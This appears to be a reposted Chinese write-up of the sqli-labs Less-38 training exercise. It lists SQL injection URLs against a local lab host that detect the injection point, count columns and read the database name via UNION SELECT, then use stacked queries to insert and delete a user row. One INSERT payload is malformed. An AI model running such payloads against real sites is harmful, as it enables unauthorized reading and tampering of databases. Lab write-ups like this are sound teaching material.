当前位置: 首页 > news >正文

sql_lab之sqli中的堆叠型注入(less-38)

堆叠注入(less-38)

1.判断注入类型

http://127.0.0.3/less-38/?id=1' and 1=2 -- s 没有回显

http://127.0.0.3/less-38/?id=1' and 1=1 -- s 有回显

则说明是单字节’注入

2.查询字段数

http://127.0.0.3/less-38/?id=1' order by 4 -- s 报错

http://127.0.0.3/less-38/?id=1' order by 3 -- s 有回显

说明字段数为3

3.判断回显点

http://127.0.0.3/less-38/?id=-1' union select 1,2,3 -- s

4.查询数据库

http://127.0.0.3/less-38/?id=-1' union select 1,database(),3 -- s

接下来的步骤可以用联合查询进行查询

堆叠注入攻击

(1)在users表中添加一个用户

http://127.0.0.3/less-38/?id=1'; insert  into values(17,'gao','a123456') -- s

证明添加成功

(2)在users表中删除一个用户

http://127.0.0.3/less-38/?id=1';delete from users where users.username='gao'   -- s

表中没有gao这个用户,说明删除成功

相关文章:

  • 【C++】STL 容器 - list 双向链表容器 ① ( 容器特点 | 容器操作时间复杂度 | 构造函数 )
  • nginx-proxy-manager初次登录502 bad gateway
  • TensorFlow是什么
  • 单例模式你了解嘛?
  • Pytest框架 —— 用例标记和测试执行篇!
  • k8s搭建(一、环境配置与docker安装)
  • 【Python常见数据结构操作-持续更新】
  • 利用Jmeter做接口测试(功能测试)全流程分析!
  • Go在Win10上接收UDP组播数据
  • Y9000P + ubuntu22.04 配置Anaconda+pycharm +pytorch
  • python作业题百度网盘,python作业答案怎么查
  • 汽车零配件装配产线中使用RFID技术和不使用RFID技术的优缺点
  • Go 泛型发展史与基本介绍
  • Spring系列:基于Spring-Jdbc实现事务
  • HBase基础知识(六):HBase 对接 Hive
  • [case10]使用RSQL实现端到端的动态查询
  • [分享]iOS开发 - 实现UITableView Plain SectionView和table不停留一起滑动
  • avalon2.2的VM生成过程
  • CentOS学习笔记 - 12. Nginx搭建Centos7.5远程repo
  • Date型的使用
  • hadoop入门学习教程--DKHadoop完整安装步骤
  • Linux中的硬链接与软链接
  • NLPIR语义挖掘平台推动行业大数据应用服务
  • Promise面试题2实现异步串行执行
  • Puppeteer:浏览器控制器
  • SSH 免密登录
  • WePY 在小程序性能调优上做出的探究
  • 安卓应用性能调试和优化经验分享
  • 线上 python http server profile 实践
  • 一文看透浏览器架构
  • 主流的CSS水平和垂直居中技术大全
  • (06)金属布线——为半导体注入生命的连接
  • (附源码)计算机毕业设计SSM疫情社区管理系统
  • (附源码)计算机毕业设计SSM在线影视购票系统
  • (亲测有效)解决windows11无法使用1500000波特率的问题
  • (十)c52学习之旅-定时器实验
  • (十五)使用Nexus创建Maven私服
  • (四)stm32之通信协议
  • (算法)Game
  • (已解决)Bootstrap精美弹出框模态框modal,实现js向modal传递数据
  • (转)nsfocus-绿盟科技笔试题目
  • .equals()到底是什么意思?
  • .FileZilla的使用和主动模式被动模式介绍
  • .gitignore不生效的解决方案
  • .net core使用EPPlus设置Excel的页眉和页脚
  • .NET Framework 4.6.2改进了WPF和安全性
  • .NET 常见的偏门问题
  • .NET 中创建支持集合初始化器的类型
  • .NET基础篇——反射的奥妙
  • .NET企业级应用架构设计系列之应用服务器
  • .net通过类组装数据转换为json并且传递给对方接口
  • .set 数据导入matlab,设置变量导入选项 - MATLAB setvaropts - MathWorks 中国
  • @DS 多数据源 + @Transactional(rollbackFor = Exception.class) 导致@DS 多数据源没法使用
  • @Transactional 竟也能解决分布式事务?
  • [ vulhub漏洞复现篇 ] GhostScript 沙箱绕过(任意命令执行)漏洞CVE-2019-6116